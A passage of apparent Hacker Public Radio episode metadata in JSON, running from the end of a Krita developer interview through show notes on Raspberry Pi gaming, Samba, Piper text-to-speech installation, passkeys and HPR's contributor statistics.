                                                            \nAnd then Krita should be able to semi-automatically ink your sketches\nfor you.
                                                            \nBecause for many artists inking is a bit of a boring step, because when\nyou're doing inking, you're often really, really careful.
                                                            \nAnd that means that the lines are a bit, often a bit deader compared to\nthe sketch, um, Trying to use AI to assist with that is something we are\ninvestigating.
                                                            \n

                                                            \n

                                                            We are working on that together with Intel because Intel is one of\nour corporate sponsors.
                                                            \nBut we are also doing all kinds of projects with Intel. Like, Intel also\nworked with us on that HDR feature, for instance.
                                                            \n

                                                            \n

                                                            Oh, and text. That's, that's important as well. Volterra has been\nworking on that.
                                                            \nThe text shape and the text tool, like the object that contains text on\ncanvas and the tool that modifies it are of course two different\nprojects.
                                                            \nThis will implement full SVG to text including CSS, ligatures, font\nfeatures and everything.
                                                            \nAnd she's already implemented it.
                                                            \nAnd the text shape itself, it can do vertical text, like for Chinese or\nJapanese.
                                                            \n

                                                            \n

                                                            It can do Ruby, which is the furigana, the small, text that in\nJapanese you put next to the kanji, the Chinese derived characters, so\nyou know how to pronounce them.
                                                            \nAnd she's now working on the UI, and, and it's something we've wanted to\nstart working on, uh, years ago already, I think it was 2017.
                                                            \n

                                                            \n

                                                            Actually, I was working on that, but then I was distracted by the\nDutch tax office which wanted to have money.
                                                            \nAnd I had to do difficult stuff and hire accountants and so on.
                                                            \nAnd it's not easy being a manager.
                                                            \n

                                                            \n

                                                            So that's the two big things that are coming, hopefully: The\nexperimental assisted inking an a super deluxe text tool.
                                                            \n

                                                            \n

                                                            Cool.
                                                            \nSo what does your release schedule look like? Do you have set dates or\nis it ready when it's ready?

                                                            \n

                                                            Ready when it's ready, but it's often ready.
                                                            \nIf our infrastructure is working correctly, then we typically do a\nbugfix release every two months.
                                                            \n

                                                            \n

                                                            There have been years when we did one every month, but that was just\neating up too much of our time. We try to have one or two full feature\nreleases a year as well.
                                                            \nOf course, we moved from Jenkins as our binary factory platform to\nGitLab CI.
                                                            \nAnd that means we haven't been able to do a release for six months\nbecause so many bits needed fixing, bits were broken.
                                                            \nThe whole pipeline had to be rewritten.
                                                            \nBut that's done now.
                                                            \nSo we just released 5.2.3 beta 1. And we hope to do the 5.3 pretty soon,\nwhich is a bug fix release.
                                                            \nAnd 5.3 will be a feature release again.
                                                            \nI think we've got almost enough features in there. We're only waiting\nfor the text tool to be completed.
                                                            \n

                                                            \n

                                                            That sounds great.
                                                            \nIn terms of, uh, volunteers, are there any areas that you would really\nappreciate someone helping out and looking into things?

                                                            \n

                                                            Android experts, because our Android expert started at a very\ndifficult university and doesn't have any spare time anymore.
                                                            \nAnd Android is, is a difficult platform.
                                                            \nPlatform itself, the libraries, it changes all the time.
                                                            \n

                                                            \n

                                                            We do have a UX designer, Scott Petrovic, but more help there would\nalso be welcome.
                                                            \n

                                                            \n

                                                            And for the rest, it's actually mostly not what we wish to be done,\nbut what volunteers wish to do and most work is welcome.
                                                            \n

                                                            \n

                                                            Sounds great. On the topic of platforms, which platforms does Krita\nsupport right now?

                                                            \n

                                                            That's Linux.
                                                            \nWe prefer our own binary builds in AppImage format because we have to\npatch a lot of the libraries that Krita depends on.
                                                            \nWindows, MacOS, Android.
                                                            \nIf and when iPadOS gets opened up, we might port to iOS.
                                                            \nBut both for iOS and Android, Oh, we also support Chrome OS, but that's\nAndroid.
                                                            \nFor iPadOS and Android, so tablet form factor, we really want to\noptimize our user interface for touch and for that we need to have the\nport to Qt6 done.
                                                            \nSo that's going to take some time.
                                                            \n

                                                            \n

                                                            Sounds like there's a lot of exciting things coming.
                                                            \nI think that's all I have for you today. So I'd like to really thank you\nfor taking the time to speak to us.
                                                            \n

                                                            \n

                                                            It was a pleasure. Um, is there any things we haven't covered that\nyou would like to, uh, talk about?

                                                            \n

                                                            Oh, I want to brag a bit.
                                                            \n

                                                            \n

                                                            Go for it.
                                                            \n

                                                            \n

                                                            Because we have about 7 million users.
                                                            \nThat's quite a lot.
                                                            \nI mean, I used to do commercial software development.
                                                            \nAnd most of the companies we worked for never ever released.
                                                            \nSo that makes it so much more fun to work on.
                                                            \n

                                                            \n

                                                            Yeah, that's genuinely amazing.
                                                            \nAwesome. Thank you very much.
                                                            \n

                                                            \n

                                                            Thank you, too.

                                                            \n","hostid":433,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Krita, Software Freedom Day, Community, Developing Free Software","version":0,"downloads":0,"valid":1}, {"id":4158,"date":"2024-07-10","title":"Alexander's Introduction","duration":239,"summary":"Kevie's son Alexander introduces himself to the HPR community","notes":"

                                                            This is my first ever recording of HPR, I had a lot of encouragement\nfrom my dad, Kevie.

                                                            \n","hostid":434,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Intro","version":0,"downloads":0,"valid":1}, {"id":4159,"date":"2024-07-11","title":"HPR New Years Eve Show 2023 - 24 ep 3","duration":6548,"summary":"The HPR community comes together to converse","notes":"\n

                                                            HPR (Hacker Public Radio) - https://hackerpublicradio.org/

                                                            \n

                                                            Double Edge (DE) Razor Shaving - https://grownmanshave.com/blogs/grown-man-shave-society-articles/the-beginners-guide-to-shaving-with-a-double-edge-safety-razor

                                                            \n

                                                            Gillette Razors - https://gillette.com/

                                                            \n

                                                            1963 Gillette Slim Adjustable - https://www.razoremporium.com/1963-gillette-i1-slim-adjustable-de-safety-razor-rhodium-revamp/?setCurrencyId=1

                                                            \n

                                                            Gillette Mach 3 Razor - https://www.amazon.com/Gillette-Mach3-Razor-Handle-Refill/dp/B0092K7C1O

                                                            \n

                                                            Straight Razor - https://www.cutthroatclub.com/collections/cut-throat-razors

                                                            \n

                                                            Minoxidil - https://www.medicalnewstoday.com/articles/minoxidil

                                                            \n

                                                            Calgary - https://en.wikipedia.org/wiki/Calgary

                                                            \n

                                                            Detroit - https://detroitmi.gov/

                                                            \n

                                                            Windsor (Canada) - https://www.citywindsor.ca/Pages/Home.aspx

                                                            \n

                                                            Verizon - https://www.verizon.com/

                                                            \n

                                                            T-mobile - https://www.t-mobile.com/

                                                            \n

                                                            AT&T - https://www.att.com/

                                                            \n

                                                            Ting - https://ting.com/

                                                            \n

                                                            Dish Network - https://www.dish.com/

                                                            \n

                                                            Capella Mango flavoring - https://www.capellaflavors.com/sweet-mango.html

                                                            \n

                                                            Joplin - https://joplinapp.org/

                                                            \n

                                                            Nextcloud - https://nextcloud.com/

                                                            \n

                                                            Home Assistant - https://www.home-assistant.io/

                                                            \n

                                                            SNAP - https://snapcraft.io/

                                                            \n

                                                            Ansible Playbook - https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_intro.html

                                                            \n

                                                            Flatpack - https://flatpak.org/

                                                            \n

                                                            FreeBSD - https://www.freebsd.org/

                                                            \n

                                                            Fedora - https://fedoraproject.org/

                                                            \n

                                                            Podman - https://podman.io/

                                                            \n

                                                            Distro Hoppers Digest - https://distrohoppersdigest.blogspot.com/

                                                            \n

                                                            Mintcast - https://mintcast.org/

                                                            \n

                                                            TLLTS - https://tllts.org/

                                                            \n

                                                            Seattle - https://visitseattle.org/

                                                            \n

                                                            Mumble - https://www.mumble.info/

                                                            \n

                                                            Netbook PC - https://en.wikipedia.org/wiki/Netbook

                                                            \n

                                                            ThinkCentre M700 Tiny - https://www.lenovo.com/il/en/desktops-and-all-in-ones/thinkcentre/m-series-tiny/M700-Tiny/p/11TC1MTM700

                                                            \n

                                                            ThinkPad T540p - https://www.lenovo.com/za/en/laptops/thinkpad/t-series/T540p/p/22TP2TT540P

                                                            \n

                                                            Electronica - https://medium.com/the-music-magnet/what-is-electronica-the-music-genre-defined-ece0a80c210d

                                                            \n

                                                            The Fat Boys - https://hiphopgoldenage.com/artists/fat-boys/

                                                            \n

                                                            House Music - https://en.wikipedia.org/wiki/House_music

                                                            \n

                                                            Trap Music - https://online.berklee.edu/takenote/trap-music-where-it-came-from-and-where-its-going/

                                                            \n

                                                            Bluegrass Music - https://www.loc.gov/item/ihas.200152684/

                                                            \n

                                                            HPZ 800 Workstation - https://support.hp.com/us-en/document/c01709726

                                                            \n

                                                            XEON CPU - https://www.intel.com/content/www/us/en/products/details/processors/xeon/scalable.html

                                                            \n

                                                            Galagp Pro - https://system76.com/laptops/galago

                                                            \n

                                                            MSI Laptops - https://us.msi.com/Laptops

                                                            \n

                                                            Borderlands - https://borderlands.2k.com/

                                                            \n

                                                            Audiobookshelf - https://www.audiobookshelf.org/

                                                            \n

                                                            Plex - https://www.plex.tv/

                                                            \n

                                                            Amiga Computers - https://en.wikipedia.org/wiki/History_of_the_Amiga

                                                            \n

                                                            AA Batteries - https://www.microbattery.com/blog/post/battery-bios:-everything-you-need-to-know-about-the-aa-battery/

                                                            \n

                                                            Pine Tab 2 - https://pine64.com/product/pinetab2-10-1-8gb-128gb-linux-tablet-with-detached-backlit-keyboard/

                                                            \n

                                                            Amiga OS - https://www.amigaos.net/

                                                            \n

                                                            Lipo Battery - https://www.rogershobbycenter.com/lipoguide

                                                            \n

                                                            Raspberry Pi 400 - https://www.raspberrypi.com/products/raspberry-pi-400/

                                                            \n

                                                            Cray-1 - https://en.wikipedia.org/wiki/Cray-1

                                                            \n

                                                            Cray-1 vs Raspberry Pi - https://blog.adafruit.com/2024/01/17/comparing-the-1970s-cray-1-supercomputer-against-the-raspberry-pi-single-board-computer-range-raspberrypi-hacksterio/

                                                            \n

                                                            Toastmasters International (public speaking group) - https://www.toastmasters.org/

                                                            \n

                                                            Volla phone (Ubuntu Touch) - https://volla.online/en/

                                                            \n

                                                            Canonical - https://canonical.com/

                                                            \n

                                                            Pine Phone - https://pine64.com/product-category/pinephone/

                                                            \n

                                                            Librem phone - https://puri.sm/products/librem-5/

                                                            \n

                                                            Pine 64 - https://pine64.org/

                                                            \n

                                                            Android - https://www.android.com/android-14/

                                                            \n

                                                            Ubports - https://ubports.com/en/

                                                            \n

                                                            Plasma - https://kde.org/plasma-desktop/

                                                            \n

                                                            Phosh - https://wiki.postmarketos.org/wiki/Phosh

                                                            \n

                                                            Sailfish OS - https://sailfishos.org/

                                                            \n

                                                            SIM Card - https://en.wikipedia.org/wiki/SIM_card

                                                            \n

                                                            Gnome - https://www.gnome.org/

                                                            \n

                                                            Manjaro - https://manjaro.org/

                                                            \n

                                                            Levi Jeans - https://www.levi.com/US/en_US/

                                                            \n","hostid":269,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"new years, linux, community","version":0,"downloads":0,"valid":1}, {"id":4160,"date":"2024-07-12","title":"Passkeys","duration":1082,"summary":"We take a look at passkeys and ask if this is what you should be using","notes":"

                                                            Passkeys are the latest proposal to improve security online by\nreplacing Usernames and Passwords. They have both advantages and\ndisadvantages, of course. So in this episode we take a look at both\nsides and answer the question \"Is this what you should be doing?\"

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"Passkeys, encryption, passwords, security","version":0,"downloads":0,"valid":1}, {"id":4161,"date":"2024-07-15","title":"Building a retro gaming console with a Raspberry Pi","duration":1541,"summary":"Kevie talks about his experience of building a retro gaming console.","notes":"

                                                            Kevie, co-host of TuxJam, continues his series on uses for the Raspberry Pi with a talk about his experience of making a retro gaming console using the Raspberry Pi.

                                                            \n

                                                            For the initial build I used:

                                                            \n\n

                                                            In retrospect I would now recommend purchasing a Raspberry Pi 5 and use an NVMe SSD Drive for storage, also with a suitable case to hold these. I would also recommend a joypad with thumb sticks, such as the 8BitDo Pro 2.

                                                            \n","hostid":296,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Pi,Gaming,retro","version":0,"downloads":0,"valid":1}, {"id":4162,"date":"2024-07-16","title":"HPR music project - Walking tune from Äppelbo","duration":1038,"summary":"Fred plays and teaches out \"Gånglåt från Äppelbo\" on their Nyckelharpa","notes":"

                                                            The tune is in G major.

                                                            \n","hostid":422,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Music, Nyckelharpa, Folk_music","version":0,"downloads":0,"valid":1}, {"id":4163,"date":"2024-07-17","title":"Reintroducing myself while discussing Samba and tiny computers","duration":607,"summary":"Al reintroduces himself to HPR, while discussing a few episodes he enjoyed on HPR in the past month","notes":"

                                                            Hi, Al, the co-host of Tuxjam here, I share some\npersonal insights and then proceed to discuss the following\nepisodes.

                                                            \n
                                                              \n
                                                            • hpr4136 - Pi\nSamba Share
                                                            • \n
                                                            \n

                                                            Here is the command I utilize to set up Samba as a service,\neliminating the need for automatic console login:

                                                            \n
                                                            sudo apt install samba samba-common-bin
                                                            \n

                                                            Run the following command to restart the service after you have\nedited the Samba config file.

                                                            \n
                                                            sudo systemctl restart smbd
                                                            \n
                                                              \n
                                                            • hpr4148 -\nCheap Computers
                                                            • \n
                                                            \n

                                                            Upon listening to this episode, I acquired a ThinkCentre\nM700 Tiny from eBay which came barebone, equipped it with an\ni5-6400T (also from eBay), and 16GB of RAM from CEX in the UK. I share\nmy experience of running it with KDE Neon with Plasma 6.1, and after we\ntested Ultramarine.

                                                            \n

                                                            Next, I discuss my media server, which is an HP laptop powered by an\n8th generation Intel® Core™ i7-8650U processor, equipped with 16GB of\nRAM, and running Jellyfin.

                                                            \n

                                                            Finally I discuss my plans to acquire a ThinkCentre\nM720q, which can support up to two drives, including a 2.5\" HDD/SSD\nand an M.2 SSD. I also share my intentions to install Proxmox on this\nsystem.

                                                            \n","hostid":290,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"raspberrypi,samba","version":0,"downloads":0,"valid":1}, {"id":4164,"date":"2024-07-18","title":"Postgraduate Computing","duration":657,"summary":"Studying for a Masters in Computing with The Open University","notes":"

                                                            MSc in Computing - https://www.open.ac.uk/postgraduate/qualifications/f66

                                                            \n","hostid":403,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"university, security, software engineering","version":0,"downloads":0,"valid":1}, {"id":4165,"date":"2024-07-19","title":"A circle of Moss","duration":1660,"summary":"Ken interviews Moss Bliss. The Bard, and the Podcaster.","notes":"

                                                            Today we interview Moss\nBliss

                                                            \n\n

                                                            We get a rundown of what the show is, how it's related to Ubuntu, and\nthe history of the podcast.

                                                            \n

                                                            Moss goes on to explain his introduction to Podcasting via Distro Hoppers Digest, and\nthe mintCast. We of course\ndiscuss those podcasts and their history.

                                                            \n

                                                            We wouldn't pass up this opportunity to discuss his first up to his\nfavorite, well at least current, distro. Covering his hardware journey\nat the same time.

                                                            \n

                                                            Moss himself has an interesting story, which we start by asking why\nhe goes by the handle \"Bard Moss\", where his roots are and where his\nheart is at the moment. Of course we delve into the exciting world of Filk Music, that's\nnot a typo Dave. Actually it is but all is explained.

                                                            \n

                                                            And finally Ken sits back as Moss treats us to one of his own works\n\"The Angels Never Came\", released under a \"CC-BY-SA 4.0\"

                                                            \n

                                                            Links

                                                            \n
                                                              \n
                                                            • https://hackerpublicradio.org/correspondents/0431.html
                                                            • \n
                                                            • https://peacefulhippo.info/
                                                            • \n
                                                            • https://fullcirclemagazine.org/
                                                            • \n
                                                            • https://fullcirclemagazine.org/podcasts/
                                                            • \n
                                                            • https://fullcirclemagazine.org/podcasts/index.xml
                                                            • \n
                                                            • https://mintcast.org/about/
                                                            • \n
                                                            • https://distrohoppersdigest.org/
                                                            • \n
                                                            • https://distrowatch.com/table.php?distribution=ferenos
                                                            • \n
                                                            • https://ferenos.weebly.com/
                                                            • \n
                                                            • https://www.bodhilinux.com/
                                                            • \n
                                                            • https://en.wikipedia.org/wiki/Filk_music
                                                            • \n
                                                            \n","hostid":30,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"Moss Bliss, Filk Music, Podcast, CreativeCommons","version":0,"downloads":0,"valid":1}, {"id":4166,"date":"2024-07-22","title":"Everybody organize Software Freedom Day!","duration":1434,"summary":"What is Software Freedom Day? And why is it important to celebrate this event?","notes":"

                                                            Introduction

                                                            \n
                                                              \n
                                                            • Event: LibrePlanet
                                                            • \n
                                                            • Topic: Relaunching Software Freedom Day and the\nsurrounding movement.
                                                            • \n
                                                            • Editing Note: The recording was edited to remove\nsome visuals.
                                                            • \n
                                                            \n

                                                            Background

                                                            \n
                                                              \n
                                                            • Personal Involvement: I have been organizing\nSoftware Freedom Day (SFD) in Brussels since 2012.
                                                            • \n
                                                            • Digital Freedom Foundation (DFF):\n
                                                                \n
                                                              • A nonprofit organization that has gone through various names and\nlegal states.
                                                              • \n
                                                              • Focuses on celebrating digital freedom through various events.
                                                              • \n
                                                              • Initially focused on Software Freedom, later expanding to Hardware\nFreedom and Document Freedom.
                                                              • \n
                                                              • Briefly included Education Freedom Day and Culture Freedom Day, but\nresources were limited.
                                                              • \n
                                                            • \n
                                                            \n

                                                            History of Software Freedom\nDay

                                                            \n
                                                              \n
                                                            • 2004 Origins:\n
                                                                \n
                                                              • Matt Oquist recognized the quality of free software and lamented its\nobscurity.
                                                              • \n
                                                              • Collaborated with the OpenCD project to create and distribute CDs\ncontaining free software.
                                                              • \n
                                                              • CDs were distributed to various groups, organizations, and libraries\nto raise awareness.
                                                              • \n
                                                            • \n
                                                            \n

                                                            Importance of Software\nFreedom

                                                            \n
                                                              \n
                                                            • Awareness and Advocacy:\n
                                                                \n
                                                              • Emphasis on the importance of making the public aware of the\nbenefits and availability of free software.
                                                              • \n
                                                              • Efforts to advocate for the use of free software in various\ndomains.
                                                              • \n
                                                            • \n
                                                            \n

                                                            Evolution and Challenges

                                                            \n
                                                              \n
                                                            • Expansion of Focus:\n
                                                                \n
                                                              • The movement expanded from Software Freedom to include Hardware and\nDocument Freedom.
                                                              • \n
                                                              • Periodic inclusion of Education and Culture Freedom days to address\nbroader aspects of digital freedom.
                                                              • \n
                                                            • \n
                                                            • Resource Limitations:\n
                                                                \n
                                                              • Challenges faced due to limited resources, leading to a focus on the\nmost impactful areas.
                                                              • \n
                                                            • \n
                                                            \n

                                                            Conclusion

                                                            \n
                                                              \n
                                                            • Call to Action:\n
                                                                \n
                                                              • Encouragement for individuals and organizations to participate in\nand support Software Freedom Day.
                                                              • \n
                                                              • Emphasis on the collective effort required to promote and sustain\nthe movement.
                                                              • \n
                                                            • \n
                                                            \n

                                                            Additional Information

                                                            \n
                                                              \n
                                                            • Contact and Participation:\n
                                                                \n
                                                              • Register your event on the\nwebsite or keep an eye on the blog for updates or\ninspiration
                                                              • \n
                                                              • Join the chat on the Software\nFreedom Day Matrix channel
                                                              • \n
                                                              • Follow us on Mastodon
                                                              • \n
                                                            • \n
                                                            \n","hostid":433,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Software Freedom Day, Community, Activism","version":0,"downloads":0,"valid":1}, {"id":4167,"date":"2024-07-23","title":"Removing another obstacle to recording an HPR show","duration":304,"summary":"Not everyone is comfortable speaking to an audience directly. Beeza addresses this problem.","notes":"

                                                            I have always disliked public speaking, and I'm sure I'm not alone in\nthis.

                                                            \n

                                                            Although I have recorded HPR episodes in the past I have always been\nhighly dissatisfied with the results - my delivery and the sound of my\nvoice.

                                                            \n

                                                            Text-to-Speech software has improved dramatically in recent years and\nthis provides a solution to my natural reticence to recording shows.

                                                            \n

                                                            In this episode I demonstrate the use of a simple online TTS\napplication in the hope that it will encourage others to contribute a\nshow who might otherwise not do so.

                                                            \n

                                                            Here is a link to the TextMagic\nwebsite where you can run their TTS software. It is cost-free to use,\nbut I'm not sure if it is FLOSS.

                                                            \n

                                                            Links

                                                            \n\n","hostid":246,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Text-to-speech, TTS, Recording methods","version":0,"downloads":0,"valid":1}, {"id":4168,"date":"2024-07-24","title":"Beyond Economic Recovery","duration":352,"summary":"How to lower your anxiety level as an archivist.","notes":"

                                                            I am not a lawyer, and this is not legal advice. But it is practical\nadvice.

                                                            \n","hostid":149,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"archiving, archivist, legal","version":0,"downloads":0,"valid":1}, {"id":4169,"date":"2024-07-25","title":" HPR New Years Eve Show 2023 - 24 ep 4","duration":7196,"summary":"The HPR community comes together to converse","notes":"

                                                            Episode 04: Start\n(Pandoc flavor markdown.)

                                                            \n
                                                              \n
                                                            • ubereats:\nUber Eats is the easy way to get the food you love\ndelivered.
                                                              \n
                                                            • \n
                                                            • doordash:\nAt DoorDash, our mission is to empower and grow local\neconomies by...
                                                              \n
                                                            • \n
                                                            • skipthedishes:\nSkipTheDishes connects millions of customers with over\n30,000 Restaurant Partners in Canada.
                                                              \n
                                                            • \n
                                                            • just-eat:\nJust Eat Takeaway.com is a leading global online food\ndelivery marketplace
                                                              \n
                                                            • \n
                                                            • uber: Go anywhere with\nUber.
                                                              \n
                                                            • \n
                                                            • lyft:\nLyft, Inc. is an American company offering mobility as\na service.
                                                              \n
                                                            • \n
                                                            • ottawaredblacks:
                                                              \n
                                                            • \n
                                                            • wikipedia: List of\nfederal political parties in Canada.
                                                              \n
                                                            • \n
                                                            • wikipedia: List of\npolitical parties in the United Kingdom.
                                                              \n
                                                            • \n
                                                            • wikipedia: Political\nparties in the United States.
                                                              \n
                                                            • \n
                                                            • wikipedia:\nHigh Life is Miller Brewing's oldest brand and...\nlongtime slogan \"The Champagne of Beers\".
                                                              \n
                                                            • \n
                                                            • wikipedia: Moosehead\nand its subsidiary The Premium Beer Company brew/market the following\nbeverages...
                                                              \n
                                                            • \n
                                                            • wikipedia:\nIndia pale ale (IPA) is a hoppy beer style within the\nbroader category of pale ale.
                                                              \n
                                                            • \n
                                                            • wikipedia:\nOrange wine, also known as skin-contact white wine,\nskin-fermented white wine, or amber wine, is a type of wine made from\nwhite wine grapes where the grape skins are not removed...
                                                              \n
                                                            • \n
                                                            • ground:\nGround News, read the news from multiple perspectives.\nSee through media bias with reliable news from local and international\nsources.
                                                              \n
                                                            • \n
                                                            \n","hostid":269,"series":0,"explicit":1,"license":"CC-BY-SA","tags":" new years, linux, community.","version":0,"downloads":0,"valid":1}, {"id":4170,"date":"2024-07-26","title":"Playing Civilization III, Part 5","duration":794,"summary":"We wrap up our look at the details of playing this game.","notes":"

                                                            This finishes our look at the details of playing Civilization III.\nHere we add to our previous discussion of wars and combat.

                                                            \n

                                                            Links:

                                                            \n
                                                              \n
                                                            • https://civilization.fandom.com/wiki/Difficulty_level_(Civ3)
                                                            • \n
                                                            • https://civilization.fandom.com/wiki/Gameplay_(Civ3)#Resources
                                                            • \n
                                                            • https://www.civfanatics.com/civ3/strategy/game-mechanics/how-does-war-weariness-work/
                                                            • \n
                                                            • https://www.palain.com/gaming/civilization-iii/playing-civilization-iii-part-5/
                                                            • \n
                                                            \n","hostid":198,"series":122,"explicit":0,"license":"CC-BY-SA","tags":"Computer games, strategy games, Civilization III","version":0,"downloads":0,"valid":1}, {"id":4171,"date":"2024-07-29","title":"Al discusses the renovation of his bathroom","duration":709,"summary":"Al shares his experience of remodeling his bathroom, including the techniques and tools he utilized","notes":"

                                                            I avoid including links to items I discuss in the episode in case the\nsellers update their URLs. However, here's a list of the things I\nmentioned in the episode

                                                            \n

                                                            Tools I Used:

                                                            \n
                                                              \n
                                                            • Rotary Pipe Cutters - 22mm and 15mm
                                                            • \n
                                                            • Sealant Gun
                                                            • \n
                                                            • Sealant Finishing Tool
                                                            • \n
                                                            • Aero Disposable Freeze Kit with jacket
                                                            • \n
                                                            • 2 Large Adjustable Wrenches/Spanners
                                                            • \n
                                                            \n

                                                            Parts I used:

                                                            \n
                                                              \n
                                                            • Flomasta twistloc plastic push-fit
                                                            • \n
                                                            • CT1 Adhesive Sealant
                                                            • \n
                                                            • PVC Easy Panels - Shower 10mm
                                                            • \n
                                                            • Aero Disposable Freeze Kit with jacket
                                                            • \n
                                                            \n

                                                            Before
                                                            \n

                                                            \n

                                                            During
                                                            \n

                                                            \n

                                                            After
                                                            \n

                                                            \n","hostid":290,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"plumbing,diy","version":0,"downloads":0,"valid":1}, {"id":4172,"date":"2024-07-30","title":"Re: hpr4072 Piper voice synthesis","duration":315,"summary":"Archer72 demonstrates using the /opt directory for the Piper executables.","notes":"

                                                            Clone piper and use the\n/opt directory

                                                            \n
                                                            mkdir -p /opt/bin/piper/\nsudo chown -R user /opt/bin/piper/\nsudo apt install cmake\ngit clone https://github.com/rhasspy/piper.git\ncd piper/\nmake\ncp install/piper* /opt/bin/piper/\ncp install/lib* /opt/bin/piper/\nexec /opt/bin/piper/piper
                                                            \n

                                                            Voices

                                                            \n
                                                            sudo apt install git-lfs\ngit lfs install\ngit clone https://huggingface.co/rhasspy/piper-voices\ncd piper-voices
                                                            \n

                                                            Test voice

                                                            \n
                                                            echo 'This sentence is spoken first. This sentence is synthesized while the first sentence is spoken.' |\\\n    exec /opt/bin/piper/piper \\\n    --model ~/git/piper-voices/en/en_GB/southern_english_female/low/en_GB-southern_english_female-low.onnx \\\n    --output voice.wav
                                                            \n","hostid":318,"series":79,"explicit":0,"license":"CC-BY-SA","tags":"tts,TextToSpeech,VoiceSynthesis,accessibility","version":0,"downloads":0,"valid":1}, {"id":4173,"date":"2024-07-31","title":"Getting my 2015 Macbook Pro back up and running","duration":355,"summary":"The storage drive of my 2015 macbook pro died on me and I was able to replace it","notes":"

                                                            Installing a new pcie ssd drive into my 2015 Macbook Pro

                                                            \n","hostid":297,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"macbook pro, apple, laptop, laptop repair","version":0,"downloads":0,"valid":1}, {"id":4174,"date":"2024-08-01","title":"Of the Mic and the Mop","duration":2696,"summary":"The response to the future of hpr","notes":"

                                                            The Future of HPR

                                                            \n

                                                            In episode hpr4109\n\"The future of HPR\" Knightwise challenged us to look at HPR from the\npoint of view of marketing to a business. His show was prompted by a\npost we put out entitled Happy\nnew year - should we continue with HPR ?, wherein we asked you to\nvote on the future of HPR. The vote was a not so subtle redirect to our\nupload page.

                                                            \n

                                                            TL;D[R|L]

                                                            \n

                                                            This is likely to be a long show, so I'm adding the summary here.

                                                            \n

                                                            Key Takeaways

                                                            \n
                                                              \n
                                                            1. More subscribers does not mean more contributors.
                                                            2. \n
                                                            3. In person contact is the best way to get new contributors.
                                                            4. \n
                                                            5. Use social media to bring people to HPR and not\ndrive the discussions away from HPR.
                                                            6. \n
                                                            7. Our interface point with the listening world is the RSS feed.
                                                            8. \n
                                                            9. The Web site is the first point of contact for new\ncontributors.
                                                            10. \n
                                                            11. We are losing contributors due to fear of being \"guilty by\nassociation\".
                                                            12. \n
                                                            \n

                                                            Feed the queue

                                                            \n
                                                              \n
                                                            • Send in one show a year.
                                                            • \n
                                                            • Get one new host a year.
                                                            • \n
                                                            • Don't rush in shows, use the reserve queue.
                                                            • \n
                                                            • Follow the Scheduling Guidelines.
                                                            • \n
                                                            \n

                                                            Look for Hosts at every\nopportunity

                                                            \n
                                                              \n
                                                            • Take every opportunity, work, school, hobbies, social media groups,\nto ask people to send in a show.
                                                            • \n
                                                            • Volunteer to host an HPR Booth at events, libraries, fairs, meetups,\netc.
                                                            • \n
                                                            • Record interviews with interesting Projects.
                                                            • \n
                                                            • Get in touch with older hosts and remind them how much you miss\ntheir content.
                                                            • \n
                                                            \n

                                                            Get our house in order

                                                            \n

                                                            To be taken seriously as a project, we need to:

                                                            \n
                                                              \n
                                                            1. Finish the migration of the Back End.
                                                            2. \n
                                                            3. Formalize our current implicit Code of Conduct.
                                                            4. \n
                                                            5. Refresh the website, emphasizing our norms and values.
                                                            6. \n
                                                            7. Enrich the RSS feeds to become more integrated on distribution\nchannels.
                                                            8. \n
                                                            9. Start giving talks at conferences promoting HPR, or Projects\ndiscussed on HPR.
                                                            10. \n
                                                            11. Get HPR Published in Wikipedia, Industry, Tech and Hobby\nMagazines.
                                                            12. \n
                                                            13. Assign dedicated Janitors on Official and Unofficial Platforms.
                                                            14. \n
                                                            \n
                                                            \n

                                                            Subscribers versus\nContributors

                                                            \n

                                                            \"Without data, you're just another person with an opinion.\" W._Edwards_Deming

                                                            \n
                                                            \n

                                                            All the numbers given in this episode are the most conservative\nnumbers we can give, as we have no financial incentive to do otherwise.\nWe can be confident in the numbers as the rate of subscriber growth\nmirrors the growth of social media, and the growth of the Internet in\ngeneral.

                                                            \n
                                                            \n

                                                            There have been 2,446,084 Total unique subscribers since the project\nbegan. That is at least 2.5 Million people that have not only heard\nabout HPR, but have also actively subscribed to an HPR feed.

                                                            \n

                                                            There have been 359 hosts since the project began.

                                                            \n\n\"Subscribers\n\n\n
                                                            \n

                                                            The plots show that the number of monthly subscribers to HPR has\nslowly increased from 40,000 to over 120,000 between 2010 and 2022. It\nalso shows for the same period the number of new hosts per month. The\nperiod between 2010 and 2016 shows a lot of new hosts joining at a rate\nof about three per month. This was when we were active at FLOSS Events.\nBetween 2016 and 2023 the rate of new hosts drops to one every two\nmonths or so.

                                                            \n
                                                            \n
                                                            \n

                                                            Links

                                                            \n\n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"HPR, Future, Statistics, peppercarrot","version":0,"downloads":0,"valid":1}, {"id":4175,"date":"2024-08-02","title":"what's in my bag part 2","duration":2258,"summary":"operat0r talks about his bookbag for 2023 2024","notes":"

                                                            I go over what's in my bag for 2023-2024

                                                            \n\n

                                                            [Editor's Note; Comment added to the notes 2024-09-29]

                                                            \n\n

                                                            The items in the book bag include:

                                                            \n\n
                                                              \n
                                                            • USB bass bunny
                                                            • \n
                                                            • USB cable for number owner
                                                            • \n
                                                            • Toothbrush and toothpaste
                                                            • \n
                                                            • Retractable charging cable
                                                            • \n
                                                            • Two headphones of the ear buds
                                                            • \n
                                                            \n\n

                                                            ONE SENTENCE SUMMARY:

                                                            \n

                                                            The user discussed various apps, tools, and services they use for personal and professional purposes including Plex, Real Link, Snapseed, Stocard, Telly Health, BetterHelp, Misnotifications, multi V&C, Google Translate, Twitch, Uber, Last Pass, Google Voice, Yelp, and Land Zoom.

                                                            \n\n

                                                            MAIN POINTS:

                                                            \n
                                                              \n
                                                            • Uses Plex for accessing media content
                                                            • \n
